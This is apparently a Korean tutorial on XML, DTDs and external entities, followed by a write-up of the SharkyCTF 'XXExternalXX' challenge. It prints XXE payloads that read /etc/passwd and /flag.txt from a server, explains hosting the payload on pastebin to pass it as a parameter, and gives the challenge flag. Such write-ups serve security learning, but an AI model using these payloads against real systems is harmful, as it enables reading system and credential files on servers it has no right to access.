XXE
XML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?> XML 선언문
<foods> XML root 요소 -> 가장 바깥 요소로 단일계층이어야 함.
<food> 요소
<name>바나나</name> # food 요소 내용, name 요소 값은 바나나
<color>노랑</color> # food 요소 내용, color 요소 값은 노랑
</food>
<food>
<name>사과</name>
<color>빨강</color>
</food>
</foods>
DTD(Document Type Definition)
DTD(Document Type Definition)
는 XML의 구조를 정의하는데 사용하는 것으로, XML의 구조를 정의한 DTD와 XML 문서를 연결할 시에는 문서형 선언(DOCTYPE 선언)를 사용함.
내부 또는 외부에 기술된 DTD와 XML 문서를 연결할 수 있다.
DTD는 엔티티를 정의할 수 있으며, 빠른 개발을 위한 내부 DTD를 사용할 수 있음.
괄호([])
안에는 내부 서브셋(subset)이라 불리는 추가로 선언한 엔티티(entity)의 리스트가 존재함.
- 내부
1
2
3
<!DOCTYPE 루트요소[
<!-- 내부 서브셋 작성 -->
]>
- 외부
1
2
3
<!DOCTYPE 루트요소 SYSTEM "URI"[
<!-- 내부 서브셋 작성 -->
]>
Entities
XML에서 미리 예약된 엔티티는 다음과 같음.
<
>
&
"
'
위와 같은 다섯 개의 엔티티를 제외한 모든 엔티티는 반드시 사용하기 전에 DTD에서 선언해야 함.
DTD에서 엔티티는 XML 문서나 DTD 내부에 선언할 수도 있으며, 파일 외부에 선언할 수도 있음.
문법은 아래와 같음.
내부 :
<!ENTITY 엔티티이름 "엔티티값">
DTD 예제 :
<!ENTITY css "Cascading Style Sheets">
XML 예제 :
<lecture>&css;</lecture>
출력 결과 :
<lecture>Cascading Style Sheets<lecture>
외부에 파일 형태로 선언되는 외부 엔티티는 다른 DTD 문서에서 재사용할 수 있음.
문서 외부에 존재하는 외부 엔티티는 다음과 같이 SYSTEM 키워드
를 사용하여 선언할 수 있음.
외부 :
<!ENTITY 엔티티이름 SYSTEM "URI또는URL">
DTD 예제 :
<!ENTITY html SYSTEM "http://codingsam.com/xml/html.dtd">
XML 예제 :
<lecture>&html;</lecture>
출력 결과 :
<lecture>HyperText Markup Language<lecture>
선언된 엔티티는 XML 문서에서 AND기호(&) + 엔티티 이름 + 세미콜론(;)의 형식으로 사용함. ex) &html;
XXE (XML External Entity)
위의 내용을 토대로 예시를 보면 아래와 같음.
1
2
3
<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
SYSTEM 키워드
를 통해 외부 파일인 서버에 있는 /etc/passwd
파일을 읽어오고 XXE Entity
값을 출력해주면 /etc/passwd
파일 내용이 출력이 됨.
XXE 응용 기법 : medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
SharkyCTF - XXExternalXX
1
2
3
4
5
6
7
One of your customer all proud of his new platform asked you to audit it.
To show him that you can get information on his server,
he hid a file "flag.txt" at the server's root.
xxexternalxx.sharkyctf.xyz
Creator : Remsio
문제에서 news section
으로 가라해서 갔더니 data.xml
파일을 불러와서 출력된 화면이 나옴.
data.xml
파일은 아래와 같음.
문제 제목에서부터 XXE를 하라했고 flag.txt
를 서버의 root
에 숨겨놓았다고 했기 때문에 flag.txt
파일을 읽어와야 함.
따라서 코드를 짜면 다음과 같음.
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY flag SYSTEM "file:///flag.txt"> ]>
<root>
<data> The flag is &flag;</data>
</root>
이제 이 flag 값을 불러오는 xml 파일을 해당 문제 사이트에서 xml 파라미터를 통해 불러와야 함.
pastebin.com/이라는 사이트를 이용함.
create를 하면 임의의 사이트가 생성이 되고 raw를 통해 xml파일을 볼 수 있음. 이 주소를 xml의 값으로 전달해주면 flag가 출력됨.
flag : shkCTF{G3T_XX3D_f5ba4f9f9c9e0f41dd9df266b391447a}